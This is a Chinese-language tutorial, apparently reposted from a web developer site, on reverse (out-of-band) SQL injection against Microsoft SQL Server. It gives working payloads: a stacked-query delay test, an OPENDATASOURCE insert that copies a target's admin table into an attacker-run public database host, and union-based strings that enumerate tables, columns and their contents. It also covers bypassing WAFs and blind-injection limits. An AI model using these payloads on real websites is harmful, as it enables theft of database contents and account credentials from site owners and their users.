MSSQL反弹注入详解

1.什么是MSSQL

MS SQL实际上是指微软的SQL Server数据库服务器,MYSQL可以说是MSSQL的简化版。MYSQL数据库一般专用于PHP网站,适合小,中型网站,而且还是开源的。 MSSQL目前大型网站使用,一般是商务网站使用,因为是微软开发的,所以要收费,而且要贵一些!
MSSQL与MYSQL的基本语法区别:(只针对渗透测试常用的语法)

MYSQL:
1.使用‘;'来作为语句的结尾
2.使用‘\'进行转义
3.系统自带库:
mysql、information_schema、performance_schema、sys
4.查询当前数据库名称:database()
5.查看表名:tables
MSSQL:
1.‘;'是可选的,可写可不写,但是MSSQL中提供了go关键词作为批处理语句的结尾
2.在SQL Server中则不需要转义,有歧义的时候只需使用引号即可
3.系统自带库:
Master、Model、Msdb、Tempdb
4.查询当前数据库名称:db_name()
5.查看表名:sysobjects

2.原理

让目标把得到的信息插入到渗透测试人员的数据库中

3.MSSQL注入的条件

a.目标要能访问外网
b.被插入的数据库要能用公网IP连接

4.注入步骤

a.反弹注入

--1.搭建MSSQL环境
/*自己搭建一个MSSQL环境是不现实的,首先你得有公网IP,有了公网IP才能将查询到的数据插入
到我们的数据库中。这里可以免费申请一个虚拟空间来帮我们搭建MSSQL环境,
比如:Alwaysdata,ProFreeHost,香港云等等。*/
--2.连接公网数据库
--使用Navicat数据库管理工具连接,连接名任意,主机为本机地址
--3.判断是否存在堆叠注入
;select name from sysobjects waitfor delay ‘00:00:05:00'//如果网站发生延迟,说明存在
--4.在连接的数据库中创建一个新表用于存放数据
--5.反弹注入
--用opendatasource函数进行反弹注入。
OPENDATASOURCE(provider_name,init_string)
/*provider_name为用于访问数据源的OLE DB 提供程序的PROGID的名称
init_string为连接地址、端口、用户名、密码、数据库名
server=连接地址,端口;uid=用户名;pwd=密码;database=数据库名称*/
--例如:
insert into opendatasource(‘sqloledb','server=den1.mssql8.gear.host,1433;uid=0;pwd=0;database=admin').admin.dbo.LYP select *from admin — qwe
/*insert into代表语句属性,是插入语句
opendatasource(‘sqloledb','server=den1.mssql8.gear.host,1433;uid=0;pwd=0;database=admin').admin.dbo.LYP表示将查询到的内容插入到什么地方
select *from admin表示要查与数据的内容
*/

b.MSSQL联合查询注入
<1.用常规SQL注入查字段数
<2.判断显错位
由于MSSQL语法比MYSQL严格些,所以不能直接全填数字来寻找显错位,MYSQL中union只需要满足字段数相同即可,但是MSSQL中如果你的填充位与数据库字段类型不匹配是没有数据显示的!而且MSSQL的联合查询最好使用union all!不知道是什么类型时可以填‘null’

'union all select  'null','null','null' --s1

然后用数字逐个替换null判断类型
到了这一步差不多可以猜出是MSSQL数据库,那么接下来的步骤就不能按照SQL注入的语法继续查数据了
< 3.查表名
利用MSSQL自带表获取用户自建表

'union all select id,name,'null' from sysobjects where xtype='U' --s2

<4.查字段名

'union all select 'null',name,'null' from dbo.syscolumns where id=··· ··· --s3

<5.查字段内容

'union all select 字段名,字段名,字段名 from 表名 --q

5.补充

反弹注入是用来解决盲注,WAF拦截,访问过快被封
堆叠注入:
a.原理
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。
b.局限性
<1.堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎不支持的限制;
<2.堆叠查询可以执行任意的sql语句,但是这种注入方式并不是十分的完美的。在我们的web系统中,因为代码通常只返回一个查询结果,因此,堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面是无法看到返回结果的;
< 3. 在使用堆叠注入之前,我们也是需要知道一些数据库相关信息的,例如表名,列名等信息。

到此这篇关于MSSQL反弹注入的文章就介绍到这了,更多相关MSSQL反弹注入内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!

来源链接:https://www.jb51.net/database/335751gpq.htm

© 版权声明
THE END
支持一下吧
点赞11 分享
评论 抢沙发
头像
请文明发言!
提交
头像

昵称

取消
昵称表情代码快捷回复

    暂无评论内容